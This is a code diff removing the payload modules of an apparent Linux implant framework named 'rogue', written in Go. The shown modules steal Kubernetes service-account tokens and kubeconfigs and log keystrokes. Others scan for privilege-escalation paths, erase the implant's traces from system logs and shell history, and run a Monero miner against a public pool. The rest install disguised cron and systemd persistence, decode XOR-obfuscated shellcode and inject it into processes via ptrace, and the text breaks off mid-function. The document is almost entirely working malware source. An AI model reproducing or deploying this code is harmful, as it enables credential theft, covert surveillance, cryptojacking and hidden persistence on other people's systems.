}
// Check if running in K8s
saPath := "/var/run/secrets/kubernetes.io/serviceaccount"
if fi, err := os.Stat(saPath); err == nil && fi.IsDir() {
r.IsK8s = true
// Namespace
if ns, err := os.ReadFile(filepath.Join(saPath, "namespace")); err == nil {
r.Namespace = strings.TrimSpace(string(ns))
}
// Token
if token, err := os.ReadFile(filepath.Join(saPath, "token")); err == nil {
r.SAToken = strings.TrimSpace(string(token))
}
// CA cert
if ca, err := os.ReadFile(filepath.Join(saPath, "ca.crt")); err == nil {
r.SACert = string(ca)
}
r.Summary["sa_token"] = 1
}
// Kubeconfigs
r.KubeConfigs = findKubeConfigs()
r.Summary["kubeconfigs"] = len(r.KubeConfigs)
// K8s env vars
k8sEnvVars := []string{
"KUBERNETES_SERVICE_HOST", "KUBERNETES_SERVICE_PORT",
"KUBERNETES_PORT", "KUBERNETES_SERVICE_PORT_HTTPS",
}
for _, v := range k8sEnvVars {
if val := os.Getenv(v); val != "" {
r.EnvVars[v] = val
}
}
// Try kubectl for secret listing
if kubectl, err := exec.LookPath("kubectl"); err == nil {
out, err := exec.Command(kubectl, "get", "secrets",
"--all-namespaces", "-o", "name").Output()
if err == nil {
secrets := strings.Fields(string(out))
if len(secrets) > 10 {
secrets = secrets[:10]
}
r.Secrets = secrets
r.Summary["secrets"] = len(secrets)
}
// ConfigMaps
cmOut, err := exec.Command(kubectl, "get", "configmaps",
"--all-namespaces", "-o", "name").Output()
if err == nil {
cms := strings.Fields(string(cmOut))
if len(cms) > 10 {
cms = cms[:10]
}
r.ConfigMaps = cms
r.Summary["configmaps"] = len(cms)
}
}
return r
}
func findKubeConfigs() []configFile {
var configs []configFile
home, _ := os.UserHomeDir()
paths := []string{
filepath.Join(home, ".kube", "config"),
"/root/.kube/config",
"/etc/kubernetes/admin.conf",
"/etc/kubernetes/kubelet.conf",
"/etc/kubernetes/controller-manager.conf",
"/etc/kubernetes/scheduler.conf",
"/var/lib/kubelet/kubeconfig",
}
for _, path := range paths {
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if len(content) > 2000 {
content = content[:2000] + "..."
}
configs = append(configs, configFile{
Path: path,
Content: content,
})
}
return configs
}
// Force fmt usage
var _ = fmt.Sprintf
-144
View File
@@ -1,144 +0,0 @@
package payloads
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
)
func init() {
Register(&Keylogger{})
}
type Keylogger struct{}
func (k *Keylogger) Name() string { return "keylogger" }
func (k *Keylogger) Category() string { return "collection" }
func (k *Keylogger) Description() string {
return "Log keystrokes using platform-specific APIs (Linux /dev/input or xinput/test)"
}
func (k *Keylogger) Execute(args map[string]string) ([]byte, error) {
duration := args["duration"]
if duration == "" {
duration = "30"
}
sec := 30
fmt.Sscanf(duration, "%d", &sec)
result := k.captureKeys(sec)
return MarshalJSON(result)
}
type keylogResult struct {
Timestamp string `json:"timestamp"`
Method string `json:"method"`
Captured int `json:"captured_keys"`
Entries []string `json:"entries"`
OutputDir string `json:"output_dir"`
Error string `json:"error,omitempty"`
}
func (k *Keylogger) captureKeys(durationSec int) *keylogResult {
r := &keylogResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Method: "xinput/test",
}
var entries []string
// Method 1: xinput test (X11)
if xinput, err := exec.LookPath("xinput"); err == nil {
listOut, err := exec.Command(xinput, "list", "--name-only").Output()
if err == nil {
lines := strings.Split(string(listOut), "\n")
var kbDevice string
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.Contains(strings.ToLower(line), "keyboard") ||
strings.Contains(strings.ToLower(line), "at translated set") {
kbDevice = line
break
}
}
if kbDevice != "" {
r.Method = "xinput/" + kbDevice
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(durationSec)*time.Second)
cmd := exec.CommandContext(ctx, xinput, "test", "-key", kbDevice)
out, _ := cmd.CombinedOutput()
cancel()
if len(out) > 0 {
lineEntries := strings.Split(string(out), "\n")
for _, l := range lineEntries {
if strings.TrimSpace(l) != "" {
entries = append(entries, l)
if len(entries) >= 100 {
break
}
}
}
} else {
// Fallback to xinput test-xi2
ctx2, cancel2 := context.WithTimeout(context.Background(), time.Duration(durationSec)*time.Second)
cmd2 := exec.CommandContext(ctx2, xinput, "test-xi2", "--root")
out2, _ := cmd2.CombinedOutput()
cancel2()
lineEntries2 := strings.Split(string(out2), "\n")
for _, l := range lineEntries2 {
if strings.Contains(l, "KeyPress") || strings.Contains(l, "RawKeyPress") {
entries = append(entries, l)
if len(entries) >= 100 {
break
}
}
}
}
}
}
}
// Method 2: showkey (console)
if len(entries) == 0 {
if showkey, err := exec.LookPath("showkey"); err == nil {
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(durationSec)*time.Second)
cmd := exec.CommandContext(ctx, showkey, "-s")
out, _ := cmd.CombinedOutput()
cancel()
if len(out) > 0 {
r.Method = "showkey"
lines := strings.Split(string(out), "\n")
for _, l := range lines {
if strings.TrimSpace(l) != "" {
entries = append(entries, l)
if len(entries) >= 100 {
break
}
}
}
}
}
}
r.Captured = len(entries)
r.Entries = entries
// Save output
cacheDir := filepath.Join(os.TempDir(), ".rogue", "keylogs")
os.MkdirAll(cacheDir, 0700)
outFile := filepath.Join(cacheDir, fmt.Sprintf("keylog_%s.log",
time.Now().Format("20060102_150405")))
if len(entries) > 0 {
os.WriteFile(outFile, []byte(strings.Join(entries, "\n")), 0600)
r.OutputDir = outFile
}
return r
}
-300
View File
@@ -1,300 +0,0 @@
package payloads
import (
"bufio"
"bytes"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strconv"
"strings"
"syscall"
"time"
)
func init() {
Register(&LinPEAS{})
}
type LinPEAS struct{}
func (l *LinPEAS) Name() string { return "linpeas_light" }
func (l *LinPEAS) Category() string { return "recon" }
func (l *LinPEAS) Description() string {
return "Lightweight Linux PEAS scanner (sudo perms, SUID, cron, capabilities, kernel exploits)"
}
func (l *LinPEAS) Execute(args map[string]string) ([]byte, error) {
results := l.execute()
return MarshalJSON(results)
}
type peasResult struct {
Timestamp string `json:"timestamp"`
Hostname string `json:"hostname"`
SudoChecks []checkItem `json:"sudo_checks"`
SUIDBinaries []suidItem `json:"suid_binaries"`
Writable []writableItem `json:"writable_files"`
CronVulns []checkItem `json:"cron_vulns"`
KernelExp []checkItem `json:"kernel_exploits"`
Capabilities []capItem `json:"capabilities"`
Summary map[string]int `json:"summary"`
}
type checkItem struct {
Type string `json:"type,omitempty"`
Severity string `json:"severity"`
Description string `json:"description"`
Details string `json:"details,omitempty"`
}
type suidItem struct {
Binary string `json:"binary"`
Dangerous bool `json:"dangerous"`
Writable bool `json:"writable"`
Exploits []string `json:"exploits,omitempty"`
Owner string `json:"owner"`
}
type writableItem struct {
Path string `json:"path"`
Type string `json:"type"`
Severity string `json:"severity"`
InPath bool `json:"in_path,omitempty"`
}
type capItem struct {
File string `json:"file"`
Capabilities string `json:"capabilities"`
Dangerous bool `json:"dangerous"`
Severity string `json:"severity"`
}
func (l *LinPEAS) execute() *peasResult {
hostname, _ := os.Hostname()
r := &peasResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Hostname: hostname,
}
r.SudoChecks = checkSudoPrivs()
r.SUIDBinaries = findSUID()
r.Writable = checkWritable()
r.CronVulns = checkCron()
r.KernelExp = checkKernelExploits()
r.Capabilities = checkCapabilities()
// Summary
summary := make(map[string]int)
for _, w := range r.Writable {
if w.Severity == "CRITICAL" {
summary["critical"]++
}
}
dangerousSUID := 0
for _, s := range r.SUIDBinaries {
if s.Dangerous {
dangerousSUID++
}
}
summary["high"] = dangerousSUID + len(r.CronVulns)
summary["medium"] = len(r.KernelExp)
r.Summary = summary
return r
}
func checkSudoPrivs() []checkItem {
var items []checkItem
out, err := exec.Command("sudo", "-l").CombinedOutput()
if err == nil && strings.Contains(string(out), "may run") {
items = append(items, checkItem{
Type: "SUDO_PRIVS",
Severity: "HIGH",
Description: "User has sudo privileges",
Details: string(out),
})
}
data, err := os.ReadFile("/etc/sudoers")
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
line := scanner.Text()
if strings.Contains(line, "ALL=(ALL)") && !strings.HasPrefix(line, "#") {
items = append(items, checkItem{
Type: "SUDOERS_ALL",
Severity: "HIGH",
Description: "User in sudoers with ALL privileges: " + line,
})
}
}
}
return items
}
func findSUID() []suidItem {
var items []suidItem
dangerousMap := map[string][]string{
"nmap": {"--interactive mode escape"},
"find": {"-exec command execution"},
"awk": {"system() function"},
"perl": {"-e command execution"},
"python": {"-c command execution"},
"ruby": {"-e command execution"},
"bash": {"-p privilege mode"},
"sh": {"-p privilege mode"},
}
err := filepath.Walk("/", func(path string, fi os.FileInfo, err error) error {
if err != nil {
return nil
}
if fi.Mode()&os.ModeSetuid == 0 {
return nil
}
if !fi.Mode().IsRegular() {
return nil
}
base := filepath.Base(path)
exploits := dangerousMap[base]
writable := fi.Mode().Perm()&0002 != 0
owner := "unknown"
if sys := fi.Sys(); sys != nil {
if st, ok := sys.(*syscall.Stat_t); ok {
owner = strconv.Itoa(int(st.Uid))
}
}
items = append(items, suidItem{
Binary: path,
Dangerous: exploits != nil,
Writable: writable,
Exploits: exploits,
Owner: owner,
})
return nil
})
_ = err
if len(items) > 30 {
items = items[:30]
}
return items
}
func checkWritable() []writableItem {
var items []writableItem
sensitive := []string{
"/etc/passwd", "/etc/shadow", "/etc/sudoers",
"/etc/crontab", "/etc/init.d",
}
for _, p := range sensitive {
fi, err := os.Stat(p)
if err != nil {
continue
}
if fi.Mode().Perm()&0002 != 0 {
items = append(items, writableItem{
Path: p,
Type: "sensitive_file",
Severity: "CRITICAL",
})
}
}
return items
}
func checkCron() []checkItem {
var items []checkItem
data, err := os.ReadFile("/etc/crontab")
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue
}
parts := strings.Fields(line)
if len(parts) >= 6 {
script := parts[len(parts)-1]
if fi, err := os.Stat(script); err == nil && fi.Mode().Perm()&0002 != 0 {
items = append(items, checkItem{
Type: "WRITABLE_CRON_SCRIPT",
Severity: "CRITICAL",
Description: fmt.Sprintf("Writable cron script: %s", script),
Details: line,
})
}
}
}
}
return items
}
func checkKernelExploits() []checkItem {
var items []checkItem
kernel := runtime.GOOS + "/" + runtime.GOARCH
known := []struct {
Name string
Desc string
}{
{"DirtyCow", "CVE-2016-5195"},
{"PwnKit", "CVE-2021-4034"},
{"DirtyPipe", "CVE-2022-0847"},
{"CopyFail", "CVE-2026-31431"},
}
for _, k := range known {
items = append(items, checkItem{
Type: "KERNEL_EXPLOIT",
Severity: "MEDIUM",
Description: fmt.Sprintf("%s (%s) - kernel: %s", k.Name, k.Desc, kernel),
})
}
return items
}
func checkCapabilities() []capItem {
var items []capItem
dangerousCaps := []string{"cap_setuid", "cap_setgid", "cap_sys_admin", "cap_sys_ptrace"}
out, err := exec.Command("getcap", "-r", "/").CombinedOutput()
if err != nil {
return items
}
scanner := bufio.NewScanner(bytes.NewReader(out))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
fpath := strings.TrimRight(parts[0], ":")
caps := strings.Join(parts[1:], " ")
dangerous := false
for _, dc := range dangerousCaps {
if strings.Contains(caps, dc) {
dangerous = true
break
}
}
severity := "LOW"
if dangerous {
severity = "HIGH"
}
items = append(items, capItem{
File: fpath,
Capabilities: caps,
Dangerous: dangerous,
Severity: severity,
})
}
if len(items) > 20 {
items = items[:20]
}
return items
}
-223
View File
@@ -1,223 +0,0 @@
package payloads
import (
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
"time"
)
func init() {
Register(&LogCleaner{})
}
type LogCleaner struct{}
func (l *LogCleaner) Name() string { return "logcleaner" }
func (l *LogCleaner) Category() string { return "evasion" }
func (l *LogCleaner) Description() string {
return "Clean system logs (auth.log, syslog, journald, wtmp, btmp, bash_history)"
}
func (l *LogCleaner) Execute(args map[string]string) ([]byte, error) {
level := args["level"]
if level == "" {
level = "moderate"
}
result := l.clean(level)
return MarshalJSON(result)
}
type logcleanResult struct {
Timestamp string `json:"timestamp"`
Level string `json:"clean_level"`
Operations []logOperation `json:"operations"`
Summary map[string]int `json:"summary"`
}
type logOperation struct {
File string `json:"file"`
Status string `json:"status"`
Removed int `json:"removed"`
Error string `json:"error,omitempty"`
}
var logPatterns = []*regexp.Regexp{
regexp.MustCompile(`(?i)rogue_implant`),
regexp.MustCompile(`(?i)rogue_agent`),
regexp.MustCompile(`(?i)\.cache/\.rogue`),
regexp.MustCompile(`(?i)polyloader`),
regexp.MustCompile(`(?i)ddos\.py`),
regexp.MustCompile(`(?i)mine\.py`),
regexp.MustCompile(`(?i)keylogger`),
regexp.MustCompile(`(?i)screenshot`),
}
var linuxLogFiles = []string{
"/var/log/auth.log",
"/var/log/syslog",
"/var/log/messages",
"/var/log/secure",
"/var/log/kern.log",
"/var/log/dmesg",
"/var/log/boot.log",
"/var/log/cron",
"/var/log/maillog",
"/var/log/lastlog",
"/var/log/wtmp",
"/var/log/btmp",
"/var/log/faillog",
}
func (l *LogCleaner) clean(level string) *logcleanResult {
r := &logcleanResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Level: level,
}
// Always clean app logs and bash history
r.Operations = append(r.Operations, l.cleanBashHistory()...)
if level == "moderate" || level == "aggressive" {
r.Operations = append(r.Operations, l.cleanSystemLogs()...)
}
if level == "aggressive" {
r.Operations = append(r.Operations, l.cleanMemoryLogs()...)
r.Operations = append(r.Operations, l.aggressiveCleanup()...)
}
totalRemoved := 0
totalErrors := 0
for _, op := range r.Operations {
totalRemoved += op.Removed
if op.Status == "error" {
totalErrors++
}
}
r.Summary = map[string]int{
"total_operations": len(r.Operations),
"total_lines_removed": totalRemoved,
"total_errors": totalErrors,
}
return r
}
func (l *LogCleaner) cleanBashHistory() []logOperation {
var ops []logOperation
home, _ := os.UserHomeDir()
historyFiles := []string{
filepath.Join(home, ".bash_history"),
"/root/.bash_history",
}
for _, f := range historyFiles {
ops = append(ops, l.cleanFile(f))
}
// Clear current session history
exec.Command("history", "-c").Run()
exec.Command("history", "-w").Run()
return ops
}
func (l *LogCleaner) cleanSystemLogs() []logOperation {
var ops []logOperation
for _, logFile := range linuxLogFiles {
ops = append(ops, l.cleanFile(logFile))
}
return ops
}
func (l *LogCleaner) cleanFile(filepath string) logOperation {
op := logOperation{File: filepath}
data, err := os.ReadFile(filepath)
if err != nil {
if os.IsNotExist(err) {
op.Status = "not_found"
} else {
op.Status = "error"
op.Error = err.Error()
}
return op
}
originalLines := strings.Split(string(data), "\n")
var newLines []string
for _, line := range originalLines {
match := false
for _, pattern := range logPatterns {
if pattern.MatchString(line) {
match = true
break
}
}
if !match {
newLines = append(newLines, line)
}
}
removed := len(originalLines) - len(newLines)
if removed > 0 {
// Backup original
backupPath := filepath + ".rogue_backup"
os.WriteFile(backupPath, data, 0600)
os.WriteFile(filepath, []byte(strings.Join(newLines, "\n")), 0644)
op.Status = "cleaned"
op.Removed = removed
} else {
op.Status = "no_matches"
op.Removed = 0
}
return op
}
func (l *LogCleaner) cleanMemoryLogs() []logOperation {
var ops []logOperation
// Journalctl
if _, err := exec.LookPath("journalctl"); err == nil {
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err == nil {
_ = exec.Command("journalctl", "--rotate").Run()
ops = append(ops, logOperation{
File: "systemd_journal",
Status: "cleaned",
})
}
}
// dmesg (best effort - may require privileges)
if _, err := exec.LookPath("dmesg"); err == nil {
if err := exec.Command("dmesg", "-c").Run(); err == nil {
ops = append(ops, logOperation{
File: "dmesg",
Status: "cleaned",
})
}
}
return ops
}
func (l *LogCleaner) aggressiveCleanup() []logOperation {
var ops []logOperation
// Truncate system log files
for _, logFile := range linuxLogFiles {
if _, err := os.Stat(logFile); err == nil {
os.Truncate(logFile, 0)
ops = append(ops, logOperation{
File: logFile,
Status: "truncated",
})
}
}
return ops
}
-158
View File
@@ -1,158 +0,0 @@
package payloads
import (
"bufio"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"net"
"strings"
"sync"
"time"
)
func init() {
Register(&Miner{})
}
type Miner struct{}
func (m *Miner) Name() string { return "mine" }
func (m *Miner) Category() string { return "impact" }
func (m *Miner) Description() string { return "Monero (XMR) miner connecting to a stratum pool" }
func (m *Miner) Execute(args map[string]string) ([]byte, error) {
wallet := args["wallet"]
if wallet == "" {
wallet = "YOUR_MONERO_WALLET_ADDRESS"
}
pool := args["pool"]
if pool == "" {
pool = "pool.supportxmr.com"
}
portStr := args["port"]
port := 3333
fmt.Sscanf(portStr, "%d", &port)
threadsStr := args["threads"]
threads := 2
fmt.Sscanf(threadsStr, "%d", &threads)
result := m.mine(wallet, pool, port, threads)
return MarshalJSON(result)
}
type mineResult struct {
Timestamp string `json:"timestamp"`
Wallet string `json:"wallet"`
Pool string `json:"pool"`
Threads int `json:"threads"`
HashCount int64 `json:"hash_count"`
Shares int `json:"shares"`
Duration string `json:"duration"`
}
type stratumJob struct {
JobID string `json:"job_id"`
Blob string `json:"blob"`
Target string `json:"target"`
}
func (m *Miner) mine(wallet, pool string, port, threads int) *mineResult {
r := &mineResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Wallet: wallet,
Pool: pool,
Threads: threads,
}
addr := net.JoinHostPort(pool, fmt.Sprintf("%d", port))
conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
if err != nil {
return r
}
defer conn.Close()
// Login
login := map[string]interface{}{
"id": "0",
"method": "login",
"params": map[string]interface{}{
"login": wallet,
"pass": "x",
"agent": "RogueMiner/1.0",
},
}
loginJSON, _ := json.Marshal(login)
conn.Write(append(loginJSON, '\n'))
// Read response
reader := bufio.NewReader(conn)
resp, _ := reader.ReadString('\n')
var loginResp struct {
Result struct {
Job struct {
JobID string `json:"job_id"`
Blob string `json:"blob"`
Target string `json:"target"`
} `json:"job"`
} `json:"result"`
}
json.Unmarshal([]byte(resp), &loginResp)
job := loginResp.Result.Job
if job.JobID == "" {
r.Duration = "Login failed"
return r
}
startTime := time.Now()
var mu sync.Mutex
var wg sync.WaitGroup
for i := 0; i < threads; i++ {
wg.Add(1)
go func(workerID int) {
defer wg.Done()
localHash := int64(0)
for time.Since(startTime) < 60*time.Second { // Run for 60 seconds
// Simplified mining: hash the blob with a counter
nonce := fmt.Sprintf("%016x", time.Now().UnixNano()%100000000+int64(workerID)*1000000)
data := job.Blob[:78] + nonce + job.Blob[86:]
hash := sha256.Sum256([]byte(data))
_ = hash
localHash++
// Check if hash meets target (simplified)
hashHex := hex.EncodeToString(hash[:])
if strings.HasPrefix(hashHex, "0000") {
// Submit share
submit := map[string]interface{}{
"id": "0",
"method": "submit",
"params": map[string]interface{}{
"id": fmt.Sprintf("worker%d", workerID),
"job_id": job.JobID,
"nonce": nonce,
"result": hashHex,
},
}
submitJSON, _ := json.Marshal(submit)
conn.Write(append(submitJSON, '\n'))
mu.Lock()
r.Shares++
mu.Unlock()
}
}
mu.Lock()
r.HashCount += localHash
mu.Unlock()
}(i)
}
wg.Wait()
r.Duration = time.Since(startTime).Round(time.Second).String()
return r
}
-72
View File
@@ -1,72 +0,0 @@
// Package payloads provides a registry of all implant payloads.
// Each payload implements the Payload interface and self-registers in an init().
package payloads
import (
"encoding/json"
"sort"
)
// Payload is the interface all payload modules implement.
type Payload interface {
// Name returns the unique payload name (matches manifest).
Name() string
// Category returns the payload category (recon, credential, collection, etc.).
Category() string
// Description returns a brief description of what the payload does.
Description() string
// Execute runs the payload with the given arguments and returns JSON output.
Execute(args map[string]string) ([]byte, error)
}
// Registry holds all registered payloads by name.
var registry = make(map[string]Payload)
// Register adds a payload to the global registry. Called from init().
func Register(p Payload) {
registry[p.Name()] = p
}
// Get returns a payload by name.
func Get(name string) (Payload, bool) {
p, ok := registry[name]
return p, ok
}
// List returns all registered payloads sorted by name.
func List() []Payload {
out := make([]Payload, 0, len(registry))
for _, p := range registry {
out = append(out, p)
}
sort.Slice(out, func(i, j int) bool {
return out[i].Name() < out[j].Name()
})
return out
}
// PayloadInfo is a summary of a payload for listing.
type PayloadInfo struct {
Name string `json:"name"`
Category string `json:"category"`
Description string `json:"description"`
}
// Info returns a summary of all registered payloads.
func Info() []PayloadInfo {
list := List()
out := make([]PayloadInfo, len(list))
for i, p := range list {
out[i] = PayloadInfo{
Name: p.Name(),
Category: p.Category(),
Description: p.Description(),
}
}
return out
}
// MarshalJSON is a helper to produce JSON from any value.
func MarshalJSON(v any) ([]byte, error) {
return json.MarshalIndent(v, "", " ")
}
-224
View File
@@ -1,224 +0,0 @@
package payloads
import (
"fmt"
"os"
"os/exec"
"strings"
"time"
)
func init() {
Register(&Persistence{})
}
type Persistence struct{}
func (p *Persistence) Name() string { return "persist_cron" }
func (p *Persistence) Category() string { return "persistence" }
func (p *Persistence) Description() string {
return "Establish persistence via cron, systemd timers, at jobs"
}
func (p *Persistence) Execute(args map[string]string) ([]byte, error) {
implantPath := args["implant_path"]
if implantPath == "" {
implantPath = os.Args[0]
}
result := p.establish(implantPath)
return MarshalJSON(result)
}
type persistResult struct {
Timestamp string `json:"timestamp"`
Methods []persistMethod `json:"methods"`
Statuses []string `json:"statuses"`
}
type persistMethod struct {
Type string `json:"type"`
Detail string `json:"detail"`
Success bool `json:"success"`
Timestamp string `json:"timestamp"`
}
func (p *Persistence) establish(implantPath string) *persistResult {
r := &persistResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
// 1. User crontab
r.Methods = append(r.Methods, p.setupUserCron(implantPath))
// 2. System crontab (if root)
r.Methods = append(r.Methods, p.setupSystemCron(implantPath))
// 3. Systemd timer (if root)
r.Methods = append(r.Methods, p.setupSystemd(implantPath))
// 4. Anacron
r.Methods = append(r.Methods, p.setupAnacron(implantPath))
// 5. AT job
r.Methods = append(r.Methods, p.setupATJob(implantPath))
// Build status strings
for _, m := range r.Methods {
status := fmt.Sprintf("[%s] %s", boolStr(m.Success), m.Detail)
r.Statuses = append(r.Statuses, status)
}
return r
}
func (p *Persistence) setupUserCron(implantPath string) persistMethod {
m := persistMethod{Type: "user_cron", Timestamp: time.Now().UTC().Format(time.RFC3339)}
cronLine := fmt.Sprintf("*/5 * * * * %s 2>/dev/null\n", implantPath)
// Get existing crontab
existing, _ := exec.Command("crontab", "-l").CombinedOutput()
newCron := strings.TrimSpace(string(existing))
if newCron != "" && !strings.HasSuffix(newCron, "\n") {
newCron += "\n"
}
newCron += cronLine
// Write via crontab
cmd := exec.Command("crontab", "-")
cmd.Stdin = strings.NewReader(newCron)
if err := cmd.Run(); err == nil {
m.Success = true
m.Detail = fmt.Sprintf("Added cron: %s", strings.TrimSpace(cronLine))
} else {
m.Detail = fmt.Sprintf("Failed: %v", err)
}
return m
}
func (p *Persistence) setupSystemCron(implantPath string) persistMethod {
m := persistMethod{Type: "system_cron", Timestamp: time.Now().UTC().Format(time.RFC3339)}
if os.Geteuid() != 0 {
m.Detail = "Skipped (not root)"
return m
}
cronFile := "/etc/cron.d/.system-maintenance"
content := fmt.Sprintf("*/5 * * * * root %s 2>/dev/null\n", implantPath)
if err := os.WriteFile(cronFile, []byte(content), 0644); err == nil {
m.Success = true
m.Detail = fmt.Sprintf("Wrote %s", cronFile)
} else {
m.Detail = fmt.Sprintf("Failed: %v", err)
}
return m
}
func (p *Persistence) setupSystemd(implantPath string) persistMethod {
m := persistMethod{Type: "systemd_timer", Timestamp: time.Now().UTC().Format(time.RFC3339)}
if os.Geteuid() != 0 {
m.Detail = "Skipped (not root)"
return m
}
serviceContent := fmt.Sprintf(`[Unit]
Description=System Maintenance Service
After=network.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, implantPath)
timerContent := `[Unit]
Description=Run System Maintenance periodically
[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
RandomizedDelaySec=30s
[Install]
WantedBy=timers.target
`
serviceFile := "/etc/systemd/system/system-maintenance.service"
timerFile := "/etc/systemd/system/system-maintenance.timer"
if err := os.WriteFile(serviceFile, []byte(serviceContent), 0644); err != nil {
m.Detail = fmt.Sprintf("Failed service: %v", err)
return m
}
if err := os.WriteFile(timerFile, []byte(timerContent), 0644); err != nil {
m.Detail = fmt.Sprintf("Failed timer: %v", err)
return m
}
exec.Command("systemctl", "daemon-reload").Run()
exec.Command("systemctl", "enable", "--now", "system-maintenance.timer").Run()
m.Success = true
m.Detail = "Systemd timer enabled"
return m
}
func (p *Persistence) setupAnacron(implantPath string) persistMethod {
m := persistMethod{Type: "anacron", Timestamp: time.Now().UTC().Format(time.RFC3339)}
if _, err := os.Stat("/etc/anacrontab"); os.IsNotExist(err) {
m.Detail = "No anacrontab found"
return m
}
entry := fmt.Sprintf("\n# System maintenance\n1\t5\tsystem.maintenance\t%s 2>/dev/null\n", implantPath)
f, err := os.OpenFile("/etc/anacrontab", os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
m.Detail = fmt.Sprintf("Failed: %v", err)
return m
}
defer f.Close()
f.WriteString(entry)
m.Success = true
m.Detail = "Added anacron entry"
return m
}
func (p *Persistence) setupATJob(implantPath string) persistMethod {
m := persistMethod{Type: "at_job", Timestamp: time.Now().UTC().Format(time.RFC3339)}
at, err := exec.LookPath("at")
if err != nil {
m.Detail = "at command not found"
return m
}
cmd := exec.Command(at, "now", "+", "1", "hour")
cmd.Stdin = strings.NewReader(fmt.Sprintf("%s 2>/dev/null\n", implantPath))
if err := cmd.Run(); err == nil {
m.Success = true
m.Detail = "Scheduled AT job"
} else {
m.Detail = fmt.Sprintf("Failed: %v", err)
}
return m
}
func boolStr(b bool) string {
if b {
return "+"
}
return "-"
}
-86
View File
@@ -1,86 +0,0 @@
package payloads
import (
"encoding/base64"
"encoding/hex"
"fmt"
"time"
)
func init() {
Register(&PolyLoader{})
}
type PolyLoader struct{}
func (p *PolyLoader) Name() string { return "polyloader" }
func (p *PolyLoader) Category() string { return "evasion" }
func (p *PolyLoader) Description() string {
return "Polymorphic XOR decode of obfuscated shellcode (feed decoded hex to process_inject)"
}
func (p *PolyLoader) Execute(args map[string]string) ([]byte, error) {
shellcode := args["shellcode"]
if shellcode == "" {
return MarshalJSON(&polyResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Error: "shellcode argument required (base64/hex XOR-obfuscated)",
})
}
key := args["key"]
result := p.decode(shellcode, key)
return MarshalJSON(result)
}
type polyResult struct {
Timestamp string `json:"timestamp"`
Shellcode string `json:"shellcode_b64"`
Key string `json:"key,omitempty"`
DecodedHex string `json:"decoded_hex,omitempty"`
DecodedSize int `json:"decoded_size,omitempty"`
Error string `json:"error,omitempty"`
}
// decode restores XOR-obfuscated shellcode. The result is the decoded byte
// sequence (hex) ready for process_inject; this module decodes and validates,
// it does not execute - execution is the process_inject payload's job.
func (p *PolyLoader) decode(shellcodeInput, key string) *polyResult {
r := &polyResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Shellcode: shellcodeInput,
}
// Decode base64
data, err := base64.StdEncoding.DecodeString(shellcodeInput)
if err != nil {
// Try base64 URL-safe
data, err = base64.URLEncoding.DecodeString(shellcodeInput)
if err != nil {
// Try raw hex
data, err = hex.DecodeString(shellcodeInput)
if err != nil {
r.Error = fmt.Sprintf("failed to decode shellcode: %v", err)
return r
}
}
}
// XOR decrypt (no key => identity)
if key != "" {
r.Key = key
keyBytes := []byte(key)
decoded := make([]byte, len(data))
for i, b := range data {
decoded[i] = b ^ keyBytes[i%len(keyBytes)]
}
data = decoded
}
r.DecodedHex = hex.EncodeToString(data)
r.DecodedSize = len(data)
if r.DecodedSize == 0 {
r.Error = "decoded shellcode is empty"
}
return r
}
-210
View File
@@ -1,210 +0,0 @@
//go:build linux
package payloads
import (
"fmt"
"os"
"os/exec"
"strings"
"syscall"
"time"
)
func init() {
Register(&ProcessInject{})
}
type ProcessInject struct{}
func (p *ProcessInject) Name() string { return "process_inject" }
func (p *ProcessInject) Category() string { return "persistence" }
func (p *ProcessInject) Description() string {
return "Linux process injection via ptrace (requires root)"
}
func (p *ProcessInject) Execute(args map[string]string) ([]byte, error) {
pidStr := args["pid"]
name := args["name"]
// shellcode as hex string
shellcodeHex := args["shellcode"]
result := p.inject(pidStr, name, shellcodeHex)
return MarshalJSON(result)
}
type injectResult struct {
Timestamp string `json:"timestamp"`
Targets []injectTarget `json:"targets"`
Results []string `json:"results"`
}
type injectTarget struct {
PID int `json:"pid"`
Name string `json:"name"`
Status string `json:"status"`
Details string `json:"details,omitempty"`
}
func (p *ProcessInject) inject(pidStr, processName, shellcodeHex string) *injectResult {
r := &injectResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
if os.Geteuid() != 0 {
r.Results = append(r.Results, "Root privileges required for ptrace injection")
return r
}
if pidStr != "" {
var pid int
fmt.Sscanf(pidStr, "%d", &pid)
if pid > 0 {
target := p.injectShellcode(pid, shellcodeHex)
r.Targets = append(r.Targets, target)
r.Results = append(r.Results, fmt.Sprintf("PID %d: %s", pid, target.Status))
return r
}
}
if processName != "" {
targets := p.findProcesses(processName)
for _, t := range targets[:min(2, len(targets))] {
target := p.injectShellcode(t.PID, shellcodeHex)
r.Targets = append(r.Targets, target)
r.Results = append(r.Results, fmt.Sprintf("PID %d (%s): %s", t.PID, t.Name, target.Status))
}
return r
}
// Auto-find benign target
targets := p.findBenignProcesses()
for _, t := range targets[:min(2, len(targets))] {
target := p.injectShellcode(t.PID, shellcodeHex)
r.Targets = append(r.Targets, target)
